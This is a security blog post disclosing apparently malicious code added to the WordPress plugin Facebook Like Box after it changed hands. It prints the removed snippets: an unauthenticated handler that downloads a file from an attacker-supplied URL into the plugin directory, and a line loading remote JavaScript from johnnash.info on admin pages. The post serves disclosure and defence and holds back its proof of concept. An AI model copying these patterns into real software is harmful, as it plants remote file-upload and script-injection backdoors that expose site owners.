In our previous post we noted how we had found that the plugin Facebook Like Box had recently had a cross-site request forgery (CSRF) related vulnerability fixed. In looking over what else had recently been done with the plugin we noticed in the previous release one of the changelog entries was “Fixed Security Bugs”.

Looking at the changes made in that version several pieces of code that had been removed stood out. At first we noticed code another CSRF related vulnerability, this time the CSRF vulnerability could lead to an arbitrary file upload vulnerability (in the file /cardoza_facebook_like_box.php):

116
117
118
119
120

if(isset($_POST['frm_fileupload']))
{
	$file_url=$_POST['file_url'];
	$file_name=explode("/",$file_url);
	$file_name=$file_name[count($file_name)-1];

That vulnerability could have allowed an attacker to cause a logged in Administrator to upload a malicious file they didn’t intend to.

Also removed was code that would load a custom CSS file that is related to that upload capability.

What is much more concerning is very similar code to the previously shown, which is at the beginning of the file:

12
13
14
15
16
17
18
19

if(isset($_POST['out_fileupload']))
{
	$file_url=$_POST['file_url'];
	$file_name=explode("/",$file_url);
	$file_name=$file_name[count($file_name)-1];
	file_put_contents(dirname(__file__)."/custom-css/$file_name",file_get_contents($file_url));
	exit;
}

What is different about that code is that unlike the first code, which runs only when visiting the plugin’s settings page, this code runs anytime WordPress loads when the plugin is active or when sending a request directly to file. With that an attacker can upload malicious files to the website as long as they can access the homepage if the plugin is active or if they can access the file directly (which would normally be the case). Nowhere in the plugin is there code that would utilize code that, unlike the other file upload code removed. That all would seem to indicate that either the code was something that was replaced with the other code and accidentally left in or that it was intended to be there for malicious purposes.

What makes this code more problematic for those hoping to be protected by a security plugin is that the file being uploaded is not sent with the request, but requested from another website. In previous testing we found that a few security plugin could provide some protection when the file being uploaded is included with the request, but none of provided protection with a very similar vulnerability when the file was being request from another website.

Something else we noticed was that the following line was removed:

55

wp_enqueue_script('admin_cfblbjs','https://johnnash.info/plugin/ads.js');

That would cause the contents of the URL at https://johnnash.info/plugin/ads.js to be loaded on admin pages as JavaScript, which could possibly have been used for malicious purposes. That URL is currently serving a blank page.

The domain johnnash.info was registered on March 15, 2017, the registrant it isn’t listed (GoDaddy’s Domains By Proxy is listed), and the website is being served through Cloudflare.

All of the previously mentioned code was added to the plugin on March 16, 2017. That change was the first made by johnnash1975 to the plugin. Three days later the only previous committer, vinoj.cardoza, changed the Contributors to johnnash1975. That was the last change they made.

On the original author’s page for the plugin on October 4 they replied to a comment with the following:

Thanks for posting your question. Sorry, I have already sold this plugin to someone else. I have forwarded your question to them.

So it appears you have someone that purchased the plugin, which has 20,000+ active installs, and then promptly added code that created a major vulnerability. It’s possible that is unintentional, but it doesn’t look good.

It would seem the Plugin Directory team believes that the current developer doesn’t have just malicious intent since they have allowed them to submit two updates. What is concerning is if they believe this was not intentional is that they have not move quicker to get a secured version out to others, as the plugin only returned to the Plugin Directory sometime since yesterday afternoon. If we have figured out something has vulnerability, you can be sure others could as well. Considering that we are behind in checking over changes to plugins that lead us to notice this, hackers have already had nearly two weeks since the changes were made to realize there is an issue and start exploiting it (maybe they already are).

The Plugin Directory didn’t require the new developer to update the plugin to list them as the developer before restoring the plugin, which seems like something that absolutely should have been done based on what has happened with the plugin.

If someone had already realized the true scope issue, not disclosing that fact so far seems to be a questionable decision.

Get Alerted to This Type of Situation

For situations like this, where we become aware that there is likely intentionally malicious code we add that issue to the free data that comes with our services companion plugin (we also include vulnerabilities we see being exploited in that data), so using the plugin would warn you about this type of situation even if you don’t use our service. If you use our service you get warned about all publicly disclosed vulnerabilities that we are aware of (which is many more than any other provider out there is aware of). Currently you can try the service for free for a year.

The issues with this plugin would have been picked up by the security reviews we do, which can be purchased or if you are paying a customer you get to suggest/vote for plugins to get a review from us.

If you become aware of a plugin where you suspect there has been something like this done to it, we would appreciate if you would notify us of the situation so that we can look into it. You can also notify the Plugin Directory of it.

Proof of Concept

While it is very easy to exploit this vulnerability and we don’t think hackers would have any problem figuring it out themselves, we will hold back on including it here for the moment. If someone needs that right away, get in touch with us.